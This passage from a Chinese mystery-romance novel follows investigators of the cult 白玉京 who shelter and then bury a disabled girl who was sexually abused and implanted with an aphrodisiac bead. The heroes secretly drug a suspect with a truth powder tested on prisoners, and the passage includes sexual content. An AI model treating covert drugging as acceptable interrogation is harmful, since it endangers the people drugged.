萧远峥点头,沉思片刻后道:“十一年前,你在正月十五被拐走,迷晕后藏在昌乐楼,同年三月三姑祖父死在骏骨楼,‘昌乐楼中破尘规,骏骨楼中诛天骄’,‘诛天骄’已解,那么何为破尘规,忠信侯孙澶和小女儿孙珍娘裸i身出现在一张床榻上,违背伦常,应该就是破尘规的一种。我推想,忠信侯孙澶当时正在昌乐楼经受白玉京的入教试炼,只不过当时我带兵去封了昌乐楼,阻断了这场试炼,白玉京怕孙澶泄露白玉京的存在,紧急之下把父女二人一剑对穿,杀死了事。” 慕容韫玉想到十一年前阿音才八岁,若是一个几十岁的人强迫了八岁的阿音,算不算破尘规。 当然算! 想到此处,慕容韫玉恨极了,把牙齿咬的咯吱咯吱响。 慕容鸾音却蹙起黛眉,不解的道:“我当年才八岁,抓我去做什么?我能破什么尘规?” 慕容韫玉既然想到了,萧远峥不可能没想到,他情不由己心口针扎似的疼了一下,当即垂下袖子掩住手覆在了慕容鸾音的手背上,轻捏了一下道:“稍后我告诉你,此时别问了。” 慕容韫玉连忙道:“我反复细品张庭春的信,发现他三次提到携妻同行,我怕会对你嫂子不利,就嘱咐她在家足不出户,又在行院人家里找了一个和你嫂子有两分相像的,买下了,暂时改了和你嫂子一样的名,称作馨娘,打算带到西州府城假扮你嫂子,反正张庭春是没见过你嫂子的。” 慕容鸾音轻吐一口气,“原来是这样,那我就放心了。那你这胳膊又是怎么受伤的,那屋里你又关着什么人,我听你方才和馨娘说话,那屋里的是个女子吗,她还会唱歌?” 慕容韫玉深吸一口气,道:“你既已都知道了,就没什么好瞒你了,那是个‘银发女妖’,不止会唱歌,还会咬人抓人,还晒不得太阳。” 慕容鸾音震惊,“世间真有妖精?” 第45章 第045章媚珠萧远峥…… 萧远峥道:“休听你哥哥瞎编乱造,世间无妖,假托妖鬼作案的恶徒倒是有许多。” “不是我编造的,是前面那家百媚楼为吸引恩客打出来的噱头。”慕容韫玉见慕容鸾音又要替她嫂子鸣不平,连忙道:“你不许打岔,听我说完。” 于是,慕容韫玉赶忙把怎么遇见的,怎么买下的,详详细细都说了一遍。 “再后来赵荆让我原地等你们前来会合。我等着无聊,想到那尤老娘虽说收了我的赎身钱,但未必会照做,就觑着白日里楼里姑娘们歇觉的时候进去了。” 说到此处,慕容韫玉攥紧拳头,脸色也变得难看,“我一进去就看见、就看见他们把她绑在一张八仙桌上,连着龟公有四五个男人正在欺凌她。” 慕容鸾音倒吸一口凉气,也跟着攥紧了拳头,“是哥哥把她救下了?” 慕容韫玉点头,看着自己受伤的胳膊道:“混乱中她嘴里的饴糖应是吃完了,开始发狂,逮着谁就抓咬谁,我就是在那个时候被她抓了一下,她那手真跟铁爪子似的,给我抓了三道血口子。” “然后呢、然后呢?”慕容鸾音催促。 “然后我就把赵荆喊来才把她制服了。我气不过还叫人把百媚楼砸了,那尤老娘就喊冤,说是那姑娘自己愿意的,她只要想吃饴糖就会唱歌,她一唱歌就撩拨的男人往她身上扑, 男人若是想成好事就会给她糖吃。我怒骂了尤老娘一顿,我说她是个傻子不知道疼,你难道也是个傻子,眼睁睁看着她被糟践的不像样你倒好,躲在屋里睡大觉。” 慕容韫玉想到自己看到的那番场景,抹一把脸,吐出一口浊气接着道:“阿音你来的正好,一会儿你吩咐冬青碧荷给她洗个澡,她、她被那几个畜生糟践,流血了,帮她上些药。” 慕容鸾音听懂了慕容韫玉话里的意思,那姑娘应该是下身有撕裂伤才会流血,此时虽还没见过,也不免对那傻姑娘心生同情,立时便道:“好!” “那么,你把她关在屋里可是因为那鸨母说的是真的?” 慕容韫玉给自己蓄满茶水,端起来一口喝干,道:“是。随后我把她带回了药铺,我就好奇是什么歌那么厉害,这一试就坏事了,连我也中招了,还有两个壮仆大打出手,我预感不好,慌忙把她拴那屋里去了,不许任何男人靠近,只让馨娘给她送饴糖,她只要有饴糖吃就躲在桌子底下安安静静的。” 慕容鸾音就好奇的问道:“到底是什么歌?” 慕容韫玉涨红脸,拿起一颗蜜枣塞她嘴里,“不许好奇,不许问。” 萧远峥看着慕容鸾音吃枣子,不由得道:“只凭声音就有媚药的功效?我不信。” 慕容鸾音连忙道:“我也不信。” 苏逢生跟着点头,“不信。” 慕容韫玉冷笑,“夺走她的饴糖,放她出来,你们试试如何?” 萧远峥、苏逢生立时都不吭声了。 慕容鸾音见他们三个男人之间气氛怪异,连忙起身道:“哥哥,此处可有浴桶?” 慕容韫玉道:“给她用我的吧。” 说着话也站起来,把长随金福银福都喊到跟前,吩咐银福到厨房烧水,吩咐金福去找绳子来,又对冬青道:“一会儿你进去,把她的手脚都捆起来,千万不可因可怜她就不捆,不是我看不上你的功夫,只是赵荆制服她时还险些被抓破相呢。” 冬青连连点头。 约莫两炷香后,碧荷给那姑娘嘴里塞了饴糖,冬青把她捆结实了,二婢一起把她抬进了浴盆,慕容鸾音就背着药箱进去了。 少顷,慕容鸾音寒着脸,拿了一把银发出来拍到三个男人之间的桌面上,“哥哥,除了给她饴糖,你吩咐人给她送过饭吗?” 慕容韫玉蓦地僵住,“……竟忘了。” 慕容鸾音怒极反笑,指着自己亲手剪下来的银发道:“才不是歌声引起的,你们闻闻这头发就知道了,哥哥你真好呀,咱们是世代行医人家,你竟连依兰花的香气都没辨识出来。而且,她饿,很饿,快让人出去买大肉包子来!” 说完又脚步匆匆折身回了正房。 萧远峥拿起一缕轻闻了一下,立时捂住口鼻,蹙眉道:“有腥臭气。” 苏逢生闻了闻,道:“这不是劣质麝香的味儿吗?带着点腥气,不臭。” 慕容韫玉连忙也闻了闻,苦着脸道:“这不就是青楼行院常有的脂粉味儿吗?” 片刻后,三个男人几乎是一齐逃离了那一束长如雪瀑的银发。 背对着人,慕容韫玉大口呼吸,苏逢生狠拧了自己大腿一下子,萧远峥闭目抱臂,默诵佛经。 就在这时,正房内传来类似婴儿的啼叫声。 萧远峥蓦地睁开眼。 慕容鸾音捂着口鼻,用帕子包着个东西拿了出来,更因愤怒而红了眼,“我方才为她检查伤口,她、她旧伤疤上叠新疤,我看着都替她疼,可她不知道疼,我在、在她体内发现了异样,取出了一颗珠子,这颗珠子除了有浓郁的依兰花香,还有别的更厉害的东西,我辨识不出来。这姑娘是被人改造成这样的!畜生!” 三个男人看着摊开放在桌面上的黑红色珠子,都不敢靠近。 慕容鸾音看向他们,怒道:“我要的大肉包子呢?!” 苏逢生抢先道:“我去买!” 话落,一马当先向外跑去。 慕容韫玉捂着口鼻,连忙唤出馨娘,让她找了个匣子出来把黑红色珠子和头发都收了进去,又怕会从匣子缝隙中泄露出气味,找出自己的一条旧汗巾包了两层才罢了。 两刻钟后,桌上摆了一笸箩酱牛肉大包子,一大海碗小米粥,从头到尾笼罩在黑斗篷里的傻姑娘,坐在圈椅上,两手捧着一个包子,大口啃食。 萧远峥、慕容韫玉、苏逢生站在桂花树底下静默的观察她。 慕容鸾音想到什么,走到萧远峥身畔道:“我给她取出那颗珠子时,她发出了一阵婴啼声,你听见了,是吗?” “听见了。潜入咱们府内的‘大黑猫’也曾发出过类似的声音。由此可以推测,这‘银发女妖’应该也是仙奴。玉在山曾说过,我杀了一个仙王的两个仙奴,那仙王不会放过我们,如今这‘银发女妖’却被你哥哥撞上,应当不是巧合。两种可能,其一,仙王知道你哥哥和我们的关系,想杀害你哥哥向我示威,毕竟你哥哥出行张扬,他的行踪很容易掌握;其二,仙王掌握了我的行踪,识破了我不在巡抚队伍中,知道我们要与你哥哥会合,故此特意埋伏下‘银发女妖’,想让我与你哥哥互相残杀。” 慕容韫玉上下打量萧远峥一番,讥笑道:“你现在是谢大公子,你出行有四辆马车,十匹马,难道不比我张扬?倘若那仙王认识你的脸,自然就知道你不在巡抚队伍中,行踪更容易被掌握。” 慕容鸾音细细打量了那姑娘一回,不解道:“她的确很美,也被改造成行走的媚药,只凭这些就想让你和我哥哥自相残杀?这仙王也太小看你们的定力了。” 慕容韫玉轻咳两声,心想,那是你不了解男人,男人被激发出最原始的欲i望的时候,什么干不出来啊。 萧远峥却定定看了慕容鸾音一会儿,才道:“看来这位仙王走的是谋算人心之道,谋算人心……谋算人心,是羲皇族的吗?” 慕容鸾音想到玉在山玉生烟结合生出的天谴儿,再看向那满头银发,还不能晒太阳的傻姑娘,禁不住怒声道:“这白玉京究竟是何等炼狱,太作孽了。” “勿怒。这邪教寄生在大魏朝应当有些年月了,需得抽丝剥茧,到那时,我倒要看看躲在芯子里的是个什么东西。”萧远峥看向慕容韫玉,“她是你买下的,你想怎么处置她?” 慕容韫玉叹口气,“这就是个受尽糟践的傻孩子,即便知道她是邪教豢养的利器,难道你忍心杀死?你要是忍心,你来,我不看就是。” 话落,背过身去,面树思过。 慕容鸾音连忙抱住萧远峥的手臂,眼眶泛红,缓缓摇头。 萧远峥抿去慕容鸾音眼角的一滴泪,轻声道:“那我们就上路吧,前面有座荡寇山,把她放归山林。” 慕容兄妹俩几乎同时展颜,欢喜道:“好!” 苏逢生打个响指,笑道:“出发!” 是日,黄昏,萧远峥等人的车队行经荡寇山山脚下,慕容韫玉亲手给银发女妖解开锁链,慕容鸾音给了她一个绣花袋挂在脖子上,里面装满了糖果、蜜饯和大肉包子。 “你进山去吧,也别再去找你的仙王了,他不是好东西。”慕容鸾音又把一包彩色绸带放进绣花袋子里,“这是给你扎头发用的。” 慕容韫玉想了想道:“不知道你能不能听懂,反正你的爪子厉害,在山里能活就不要下山来,山下都是坏人。” 说完,兄妹俩携手登车,随着车队向前方驶去。 第46章 第046章伥鬼朋友月色如银,…… 月色如银,流光皎洁。 荡寇山中,一片低矮的崖壁上,有人工挖出的石窝子,有竹竿做成的护栏,此处曾是土匪的寨子,大魏朝定鼎后不久,太/祖曾下令清剿天下盗匪,此处被一锅端净,从此就废弃了,只偶尔有进山砍柴的樵夫、进山狩猎的猎户在此歇宿。 彼时,一个银发少年正盘膝坐在一块瞭望石上吹一支骨 箫,箫声低沉,呜呜咽咽。 在他脚边横着一条婴儿手臂粗的蟒蛇,一个猿猴似的人一口咬断蟒蛇的头,吸溜吸溜的吮血,吃肉。 就在这时一个穿着黑斗篷的少女从后面猛地扑向少年,搂住他的脖子就哇婴哇婴的说起话来,眉飞色舞,神情很是激动。 少年被打断也不恼,顺势把骨箫收起来,回身摘下少女顶在头上的帽兜,摸摸她被编的很漂亮的两条辫子,笑道:“怎么办啊,那些男人竟没碰你。” 少女连忙把挂在脖子上的绣花袋拿下来,打开抽绳,拿出一个大肉包子递给少年,嘶声道:“吃……” 少年接在手里咬了一口,颔首道:“好吃。” 少女叼着包子,扒开裙子给少年看,还用手比划,艰难的吐出“舒服”两个字。 “你说,有个女人帮你把媚珠取出来了,你觉得很舒服,对吗?” 少女猛点一下头,而后蹲在少年身边大口大口吃包子。 少年就那么看着她吃了一个又一个,直至把绣花袋里的包子都吃完了,打了个饱嗝,才拿出一颗糖来含在嘴里,又拿出一颗来给他。 少年把糖含进嘴里,伸手把少女搂在怀里,抚着她的背脊笑道:“今日你的劫难也渡尽了,升仙去吧。” 说着话,已是紧握着一把匕首捅进了少女的心窝,少女在少年怀里剧烈挣扎,嘴里的糖和口水一起流淌了出来,“哥……” 少年泪流满面,用沾满鲜血的手轻轻抚摸着少女的脸庞,哽咽道:“蠢货,俗世中的规矩,先出生的是姐姐,后出生的是弟弟。来生投胎,要睁大眼睛,投到凡尘俗世中去,记住了吗?” 却说萧远峥一行,乘着月色要到前面迷津湖畔的驿站投宿。慕容韫玉的马车内,车厢四角挂着琉璃宫灯,照的灯火辉煌。 慕容鸾音枕着慕容韫玉的大腿,吃着慕容韫玉时不时喂到嘴里的蜜橘瓣,舒服的哼起歌来。 慕容韫玉禁不住笑道:“我看出来了,你不迷萧远峥那狗东西了。” 慕容鸾音挑眉,“中秋节前夕,我回娘家送礼,哥哥给我说的那些话我都记在心里了。求不得的苦,我在梦境里也吃够了。既是联姻,我就摆正自己的位置,认清自己的责任,生个嫡长子出来继承世子位,目标是把郧国公府收入囊中。” 慕容韫玉大喜过望,“你这个梦做的好。” 兄妹俩说着话,冷不丁萧远峥跳了上来,推开车门就径自坐了下来,抬眼一瞧慕容鸾音枕着慕容韫玉的大腿就沉声道:“像什么样子,起来坐着。” 慕容韫玉一壁往慕容鸾音嘴里喂橘子,一壁冷笑道:“我乐意这么宠着我妹妹,关你屁事。你有马车不坐,跳到我的马车上来作甚,有屁快放。” 慕容鸾音晃晃脚,一副我有哥哥撑腰,你能拿我怎么办的得意样儿。 萧远峥运气,稍作平静后直接道:“从张庭春写给你的信分析,他极有可能成了白玉京的一员,我现在怀疑他是伥鬼,想引诱你入教,你打算怎么应对?” “不可能。他穷困潦倒的时候我还借给他两百两银子,他写信让我去西州赏花,兴许只是想报恩。” 萧远峥看着慕容鸾音枕着慕容韫玉大腿舒服的那个样儿,冷笑道:“那我们打个赌,到了西州若印证张庭春是伥鬼,你不许再和阿音这般亲昵。” 慕容韫玉玩味的看着萧远峥,故意拿帕子给慕容鸾音擦去嘴角的一点橘子汁,“若张庭春不是伥鬼,我要你此生不许纳妾。” “可以。” 慕容鸾音感觉出不对来,微恼,“我成了你们的赌注了?” 两个男人都不理她,萧远峥直接拿出一个一指高的灯笼瓶,“这里头是一种药粉,叫做如意散,吃了以后会让人失去警觉,变得兴奋,甚至会产生幻觉,问什么答什么。假设张庭春是伥鬼,他一定会派人监视你在西州的宅子,一旦发现你到了,他一定会上门找你,倒时你就留下他吃酒,趁机把这药粉下在酒液里也好,茶水里也好,都有效用。我们就可以趁机问出他的动机。” 慕容韫玉拿在手里观摩一番,啧啧称奇,“你们大理寺还有这东西呢?” 慕容鸾音坐起来就道:“我也瞧瞧。” 萧远峥见慕容鸾音终于离了慕容韫玉的大腿,躁动的心绪忽的变作愉悦,笑道:“你还记得孙鼎吗,从他身上搜出来的,我找死囚试验过,的确有妙用,又找到给孙鼎提供这药粉的老虔婆,把她那里剩下的都弄了来,又逼问出配方,里头的君药竟是一种稀有的蘑菇。” “自然记得那个中秋夜摸到我正房里来的男人。”慕容鸾音说着话就把灯笼瓶塞进了自己的袖袋中,“哥哥,这药粉我帮你拿着,倘若你那个叫张庭春的朋友真的找上门我亲自给他下药。” “你拿着吧。”慕容韫玉听到孙鼎这个名字就怒瞪萧远峥一眼,“再有类似事件发生,我就接阿音回家,你们和离算了!” “大哥请放心,不会再有。” 萧远峥看了慕容鸾音一眼,垂眸,微扬了一下唇角。 一炷香后,驿站到了。 一行人入内投宿,一夜再无别事。 翌日天蒙蒙亮,车队启程,快走出荡寇山时,就遇见了一具挂在树上的尸体,那尸体是一头银发,用红绸带扎着两条辫子,穿着一条粉白的宝相花纹的百褶裙。 慕容鸾音一见就哭了。 慕容韫玉愤怒到极点,破口大骂:“畜生!畜生!” 萧远峥亦脸色铁青,吩咐人把尸体取下放到路边,当即验尸,便发现杀害她的人手法又快又狠,一刀毙命,死亡时应当没受多少痛苦。更在粉白裙子上发现了一行用血写的字:吾在此山中。 落款还画了一只兽。 萧远峥将这片裙摆撕下,仔细辨认后发现,凶手画的应当是一头饕餮。 苏逢生怒道:“好个猖狂恶徒!他这是想激怒我们,引诱我们进山,大人,千万不要上当。” 萧远峥看着那五个仿佛初学写字的孩童写下的字体,陷入沉思,一时没言语。 慕容鸾音流着泪道:“哥哥,咱们和她也算相识一场,不能让她暴尸荒野。” 慕容韫玉抹一把脸,偷着擦去眼泪,就立时吩咐仆从去找个合适的地方挖坑。 “我给她的绣鞋没了一只,碧荷,你再去找一双来。” “是。” 待得把傻姑娘葬了,就到了午后,这一日没赶多少路,但好在已经距离西州府城不远了。 翌日黄昏,慕容鸾音坐车坐的屁股疼,就掀开车帘向外望去,远远的便见一座颇为巍峨的城门,城门外还有一片低矮的房屋。 “别看了,前面就是西州府城了。” 慕容鸾音重新坐回美人榻,问身畔的萧远峥道:“这西州府城的规矩和别处不同吗?城墙下竟然允许搭建棚屋?” 萧远峥睁开眼道:“你祖父当年是陛下的股肱重臣,一位股肱重臣死在这里,陛下自然震怒,匹夫之怒,血溅五步,帝王之怒,牵连整座城。” 慕容鸾音禁不住握起拳头,咬牙道:“就该如此。” “是,就该如此。于是陛下就针对西州府下了三道敕令:其一征收重税;其二摧毁西州府的漕运码头,令货运船只、客船等都不许经过此有罪之城;其三,西州府内不许有乞丐,一旦发现就地格杀。此三条敕令一出,原本繁华胜过扬州的西州就似鲜花失了水一般枯萎了。当地望族朱氏,不想看到西州府从此失去生机,于是牵头想出了在菊花节举办斗花会的主意,在城中辟出一块空地,建成菊花园,用汉白玉石砌出一座斗花台,在每年百花凋零,菊花盛开的时节,引得无数游客前来赏花、赏美人,把一座即将死去的城市变成了一座游观之城,起死回生。那位牵头人朱柄权就此成了此城中最德高望重之人,便是布政使也只得避其锋芒。” “所以,城墙下这些棚屋也是这位朱柄权为乞丐们搭建的了?” 萧远峥点点头。 想 到自己祖父终究是死在两个乞丐手里,慕容鸾音也不免迁怒,但其他人发善心给乞丐们搭建遮风避雨之所,她也不会说什么。 说着话马车已到了城门口。 城门小卒便拦在前面,慕容韫玉知道规矩,正要掏进城钱给他,谁知小卒却笑道:“我们西州城可不收城门税,您们能来就是给我们脸了。” 说着话一招手,便有一窝小乞丐挎着竹篮子围了上来,慕容鸾音掀起帘子向外一瞧,正与一个面皮白净的小乞丐脸对脸,登时吓了一跳。 小乞丐连忙高高举起竹篮子,“漂亮姐姐,送您一支菊花签,凭此签可以参加斗花会,得了美人榜第一可获得万两白银呦。” 但见篮子里装满了绘着各式各样菊花的竹签。 慕容鸾音随手抽出一支来就把帘子放下了,但见这支竹签上画着一朵金黄色菊花,菊花下是一个六八的字号。 “怎么,你也想参加斗花会吗?” “成过亲的也能参与?” 萧远峥见她兴致勃勃,一把攥住花签,没好气道:“不许。” 第47章 第047章如意散那你告诉我,你心…… 慕容家在西州城有一座旧宅院,还是他们的祖母萧长月当年陪着祖父在此地做官时买下的。自从慕容青云死后,萧长月回京,只留了一对老夫妻在这里看宅子。 慕容韫玉收到张庭春的信决定来西州前,就指派了家下人提前赶到西州,把宅子洒扫收拾了一番。 故此,慕容韫玉一行人得以在天黑时,坐在灯火通明的西花厅里吃上了热乎饭。 饭毕。慕容韫玉分派住处,听了萧远峥的建议,他们三个主子就同住正院,他住西厢房,萧远峥和慕容鸾音住东厢房。如此,若夜里万一有事发生,他们能立时聚在一处。 终于到了自家宅院,慕容鸾音吃过晚饭就吩咐烧水沐浴。路上不方便,她已是好些天没能痛痛快快泡个澡了。 兄妹俩一样爱洁,慕容韫玉出门连自己的浴盆都带着,这会儿也在催着下人去弄洗澡水。 萧远峥蹭着这兄妹俩的光,也干脆利落洗了澡沐了头。 约莫一刻钟后,他散着头发,穿着雪缎交领衫在窗前坐着,铺开一张大宣纸,提笔勾画。 那边厢,隔着一道纱幔,慕容鸾音还在泡澡,水声哗哗总是打断他的思绪。无奈何,只得放下笔,催促道:“时候不早了。” 慕容鸾音没理他,但想到一会儿要做的事情,脸上就露出一丝坏笑来。 碧荷见她乖乖听话站了起来,就把大浴巾裹到她身上,心里清楚,这一路世子爷忍得辛苦,今夜他二人必有一番交缠。 便唇角带笑的为她擦干身子,绞干头发,又找出一条杏粉色绣蛱蝶牡丹的齐胸襦裙来给她换上。 慕容鸾音坐在铜镜前,自己拿一支碧玉簪随手挽了个髻,就笑道:“碧荷姐姐,洗澡水明儿再倒便是,我这里无事了,你们也跟着一路劳累,早些洗漱歇着去吧。” “是。”碧荷一心的想成全他们夫妻恩爱,立时就带着冬青退了出去,将门扉紧闭。 慕容鸾音用指尖挑出一点山茶脂膏来抹在唇上,就起身走向床前圆桌。桌上摆着茶奁,奁内是一个梅青色茶壶配四个梅青色葵口杯。 慕容鸾音提起茶壶倒出一杯水来,就款款走向坐在窗前,看起来镇定自若的萧远峥。 “怪不得方才催我,原来是我洗澡弄出的动静吵着你了。”慕容鸾音轻盈盈坐到萧远峥坐着的椅子扶手上,一臂搁在他肩上,一手端着茶杯送到他嘴边,“我看你这一路既劳心又费神,委实辛苦,敬你一杯水,你喝了,我就不烦你了,让你安安静静的坐在这里抽丝剥茧。” 萧远峥轻轻吸一口自她身上沁出的清香,握住她执杯的手腕,就着她的手一饮而尽,随即展臂环住她腰臀,将她从扶手上挪到自己腿上。 两身紧贴,四目相对,她是个花容月貌,温香软玉,他亦是个秋水为神玉为骨的品貌,她坐在他身上时一霎就感觉到了他蠢蠢欲动的坚硬,令她的身子顷刻间就酥软了。 “等、等一下。”慕容鸾音连忙两手抵住他胸膛,娇喘着道:“苏大人怎么不住在这里?你让那些锦衣卫去哪儿了?” 萧远峥捻着她红润微烫的耳垂,星眸迷离起来,“做戏就要做全套,他既是锦隆镖局的总镖头,把我这谢大公子送到地方了,自然就该走了,苏逢生带着他的镖师们去找地方开锦隆镖局分局去了。” 慕容鸾音见他摆出了一副喝醉酒的嘴脸,心中冷笑,面上笑盈盈的,“原来是这样。那你告诉我,你心里最想要谁,最爱谁?” “你。” 慕容鸾音当即两手拧住他两只耳朵,冷笑道:“骗谁呢,我压根没给你下那如意散!” 萧远峥浑身一僵,抓住她两只手腕,不由得轻声问道:“没下?” “是药三分毒,我怎么会胡乱就给你吃,哼!” 萧远峥只觉心上莫名的酸胀起来,再也顾不得其他,把桌上宣纸拽落,抱起她放在上面,满心里只想着一件事,他要抵至她身子的最深处,取悦她,与她融为一体。 那边厢慕容韫玉也想起问苏逢生的事情,走出西厢房的门,往东厢一瞧,冷不丁就见窗户上映出两个交合在一起的影子来。 慕容韫玉蓦的捂住眼,转身回房去了。 翌日,天色微阴,慕容鸾音睡饱了才起来对镜梳妆。 她望着镜子里那张玉润红香的脸,禁不住就想起昨夜他给予的欢愉来,一回又一回,令她的身子没了骨头一般,酥透了。转念又一想,他怎么会那么多的招数了?她出嫁时有压箱底的避火图,想必他也有? 这时冬青捧了一碗燕窝粥来,笑道:“姑娘,世子爷问您起了吗,若是起了,吃了燕窝粥就到西花厅去,世子爷说让您见识见识药效。” 慕容鸾音一听就明白了,“哥哥的那个朋友张庭春上门了?” 碧荷把一支山茶桥梁簪插入慕容鸾音的发髻,笑道:“一早就来了,大爷和世子爷在西花厅给他置备了一桌酒席,哄着他喝的半醉了。” 慕容鸾音连忙端起燕窝粥吃了半碗,擦了擦嘴,站起来就向外走去。 西花厅,门关着,窗棂半开,有酒肉气飘出。 慕容鸾音沿着回廊走至窗下,向内一瞧,就见自己哥哥和萧远峥正陪着一个四十来岁的男人吃酒,那男人头戴黑缎秋帽,穿一件藏青色吉羊纹圆领袍子,大长脸,此时他脸色通红,额上有青筋凸起,像是喝醉了,但一双眼却睁的大大的,一副梗着脖子要跟人吵架的激动样儿。 萧远峥坐的位置正对着窗户,一眼看见她来了,就笑道:“张兄,你给慕容兄的第三封信上写的那两句‘昌乐楼中破尘规,仙主点化上层楼’究竟是什么意思,我和慕容兄一路同行来此,解了一路都不知其中深意。” 这时就听她哥哥怨怪道:“咱们也是多年旧友了,有什么话你不能直说,偏要弄的云山雾罩的让我猜,我哪有那个耐心。张兄你还在信上说,有门路让我成为大魏朝首富,我一听你这话就知道是骗我的,你要真有门路,作甚不把自己弄成首富?” 张庭春哈哈一阵笑,踉跄着站起来,一脚踩在圆鼓凳上,伸手一指慕容韫玉,“蠢货,真当我邀你来西州是帮你做大魏首富的啊,我是为了成为仙使。” 慕容韫玉蓦的攥紧拳头,心中仅存的一点自欺欺人的念头打消了。 这个朋友,真他娘的是个伥鬼! 萧远峥轻蔑的看张庭春一眼,道:“张庭春,那么你现在是个什么身份?是仙奴吧。” “放你娘的屁,老子是仙民,只要能拉一个富商或是望族士子入 教,我就能升为仙使,成了仙使再立下几桩大功劳就能升府君,升了府君就能参加极乐长生宴,就能吃到长生丹,成为首富,我早不稀罕了,我要长生!” 张庭春把脚放下,趔趄着搂住慕容韫玉的肩膀,“我求到你面前,求你借我万两银子东山再起,你怎么对我的,你只给了我两百两,打发叫花子一样把我打发了,我不怪你,你给的这两百两就是我来西州的盘缠,我来了西州才算真正看清了这个世界的真相,大魏朝,大魏朝算什么东西,过个一二百年就消失了,这大魏朝的子民不做也罢,我有幸、有幸被白玉京点化,我的女儿还嫁给了府君为贵妾,我现在是仙民了。慕容兄,你随我入教吧。” 慕容韫玉已是脸色铁青。 萧远峥把张庭春从慕容韫玉身上扯开,压着他坐回他自己的圆鼓凳上,笑道:“慕容兄没见识,咱们不理他。我想成为仙民,还请张兄携我入教,可是要经过什么试炼?” 张庭春大喜,脸红脖子粗,一副即将要炸开的模样,“你带妻子来了没有?这回昌乐楼发出的试炼是换i妻。” 窗外的慕容鸾音顿时又惊又怒,到此时,她终于真正明白那句“昌乐楼中破尘规”是什么意思。在一个楼内,大家伙一块破了尘规,等同于相互捏住了对方的把柄,以此形成坚固的盟友关系。 原来白玉京就是这么发展壮大的吗? “下作狗贼!”慕容韫玉嚯然站起,抓起桌上酒壶就砸向张庭春。 “嘭”的一声,酒壶碎裂,张庭春头上开花,血水迸溅,白眼一翻晕了过去。 萧远峥被他一句“换i妻”引出的怒火不比慕容韫玉少,但他素来冷静克制,没有发作而已。 此时见慕容韫玉把张庭春砸晕了,且血流不止,就看向窗外道:“阿音,你进来救他一救,我还有话没问完。” 慕容韫玉砸出那一下,心里是舒坦了,但一听萧远峥说还没问完话,又懊悔起来,“你怎么没拦着我?” 萧远峥就道:“砸的好。” 彼时,慕容鸾音已经蹲下身查看张庭春的伤势,为其把脉,少顷,抬眸望着萧远峥恼怒道:“亏得昨夜没给你吃,你早知吃了如意散是这种状态,是吗?所以昨夜,你一开始就知道我没给你下药,你装样子逗我的?” “什么?”慕容韫玉瞪眼,“你们两个昨夜还有这一出?不是颠鸾倒凤了一夜吗?” 萧远峥佯装恼怒,矛头转向慕容韫玉,“我倒不知大哥还有听壁角的癖好?” 慕容鸾音顿时脸红耳热,气呼呼道:“哥哥!” 这时冬青背了药箱来,慕容鸾音便不再理会他们,开始想法子给张庭春止血。 第48章 第048章艳冠群芳你的眼睛终于不…… 待得慕容鸾音发现倾倒了一整瓶的金疮药都堵不住血口时,便细细问了一遍如意散的配方,得知其中有媚药的成分,便知道为何止不住血了,是因为药物借助酒液快速发挥了效果,导致张庭春体内血液沸腾之故。故此慕容鸾音当即就决定给张庭春服食一剂清心散,紧接着就决定死马当活马医,一边用烈酒清洗伤口一边用绣花针把伤口缝合了起来,如此,再用金疮药就没再被血水冲开。 但此人一时半刻是醒不过来了,只得挪到倒座房去,令懂些医理的碧荷暂且照看。 下人们很快把西花厅收拾干净了,慕容鸾音坐在圆鼓凳上歇息喝茶,却见萧远峥用一支乌黑的竹节簪换下了那顶招摇的貔貅金冠,身上穿着一件鸦青色大氅,内衬灰蓝色直裰,腰上白玉环绦带,禁不住就问道:“今日怎么恢复你自己的穿戴了,不扮人傻钱多的谢大公子了?” 萧远峥便道:“从那仙王留下的‘吾在此山中’几个挑衅的字来看,白玉京极有可能已经识破了,也就没有必要再伪造身份。走吧,既来了西州,如何能不去逛一逛鼎鼎有名的菊园,看一看聚拢了无数寻求机缘之人的斗花台。” 慕容鸾音福至心灵,黛眉轻轻一扬就笑道:“你这是要引蛇出洞吗?你等我一下。” 话落,提起裙摆来小跑回东厢,换了一套金镶红宝石的头面,罩了一件柿红色彩蝶穿花的羽缎斗篷,还把在城门口所得的花签塞进了坠在裙边的香囊里。 才要出门,忽的想起什么又折回来,选了朱红色口脂抹在嘴上。 彼时,萧远峥与慕容韫玉正站在垂花门外说话,萧远峥甫一瞧见她把自己打扮的如此夺魂摄魄,就蹙起剑眉道:“你真要去和别人比美不成,把唇脂擦了,再换一件斗篷来,太招摇了。” “我自然无意去争夺别人的机缘,但菊园中必然聚集了各地的美人,我可不想被别人压下去,再说了,我擦什么颜色的口脂,穿什么样的斗篷,要你管!”慕容鸾音不理他,一步跳蹿到慕容韫玉跟前,笑嘻嘻道:“哥哥,我美吗?” “我家阿音艳冠群芳!” 慕容韫玉夸完慕容鸾音就对萧远峥道:“和口脂斗篷有屁关系,我们阿音好看,穿麻袋都好看。你要么别带她出去,留在家里陪我一块看守那张庭春。” “我要去,我也要为剿灭白玉京出一份力。”慕容鸾音不理他们,自顾向门外走去。 萧远峥只得跟上。 门外,慕容韫玉的大马车已停在那里,车夫是赵荆和阎大忠。 慕容鸾音站在登车凳前,杏眸斜睨萧远峥,缓缓抬起手,萧远峥见她一副娇横肆意的样子,心里波澜丛生,一把抱起登车,就送进了车厢。 “我只是想让你扶我登车,谁让你抱了。”慕容鸾音从他怀里挣出来,自己贴着车壁坐着,离他远远的。 萧远峥坐定后,望着慕容鸾音在随身背着的绣花香袋里拿出了一把小镜子,对镜理妆,就叹气道:“说严重些,我们现在极有可能处在白玉京的老巢地盘内,你还这么招摇,真的就不怕吗?” “一则是因为我信你。”慕容鸾音收起小镜子,笑盈盈看着萧远峥,“以你的作风,你敢来必是做了万全的准备,就比如苏逢生率领的那些锦衣卫去哪儿了?二则……” 慕容鸾音敛去脸上笑容,道:“不是只有你们想报仇的,自从我知道祖父是被白玉京设计杀害,报仇也是我的目标。我还记得有一年仲夏,祖父休沐在家,见我被爹爹压着背医书太可怜,就和爹爹讲情,亲自背着我,慢悠悠的,逛着街就去了你们家找舅外祖闲话。一路上,祖父给我买了糖葫芦,买了会叫的彩色泥人,还有能插戴在头上的小风车。十一年前我被拐走找回来后,祖父心疼落泪,但他还是要奉旨到西州来赴任,临行前还答应,中秋节会回来看我,给我买西州最时兴的小花钗和漂亮的锦缎做裙子,但是……” 说到此处,慕容鸾音已是泣泪难言。 萧远峥懊悔自己方才为何要问她那句话,把她好端端的笑脸弄成哭脸,略有些手足无措的将她揽入怀中,无声安抚。 “……祖父失约了。” 